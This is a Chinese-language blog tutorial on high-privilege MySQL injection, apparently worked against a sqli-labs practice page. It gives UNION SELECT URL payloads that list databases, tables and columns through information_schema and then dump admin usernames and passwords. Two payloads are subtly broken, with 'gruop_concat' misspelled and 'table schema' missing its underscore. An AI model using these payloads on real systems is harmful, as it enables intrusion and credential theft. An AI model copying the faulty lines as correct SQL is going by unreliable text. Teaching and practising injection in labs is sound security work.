MySQL注入之高权限注入
前言
在数据库中有database,schema,table,user,行,列容易被混淆之间的关系
他们之间的关系可以这样理解:
database是一个家,schema就是这个家里面的各个房间,table就是各个房间里的床,行列就是床上面的东西,user就是指这个家的主人
二、高权限注入
1.什么是高权限注入
在上一篇博文中有提到数据库的构成:
数据库A=网站A(同时又一个用户 A)
表名
列名
数据
数据库B=网站B(同时又一个用户B)
表名
列名
数据
这里的用户又分为普通用户和高级用户(eg.root),普通用户只能访问到自己库内的内容,而高级用户就可以做到跨库查询(就是对A,B库的内容都可以读取)
2.跨库查询思路
1.查看用户名
(之前步骤在上一篇博文中有就不进行重复)
是root所以可以进行高权限注入
2.获取所有的数据库名
http://www.5418666.xyz/sql/Less-2/?id=-1 union select
1,group_concat(schema_name),3 from information_schema.schemata
3.获取指定数据库名下的表名信息
这里我已’damicms‘为例
http://www.5418666.xyz/sql/Less-2/?id=-1 union select
1,group_concat(table_name),3 from information_schema.tables where
table_schema=‘damicms’
4.获取指定damicms下的表名admin下的列名信息
http://www.5418666.xyz/sql/Less-2/?id=-1 union select
1,gruop_concat(column_name),3 from information_schema.columns where
table_name=‘dami_admin’ and table schema=‘damicms’
4.获取damicms下的admin中的数据
我们要获取后台登陆信息一般都在admin下所以我们去获取admin的数据
http://www.5418666.xyz/sql/Less-2/?id=-1 union select
1,username,password from damicms.dami_admin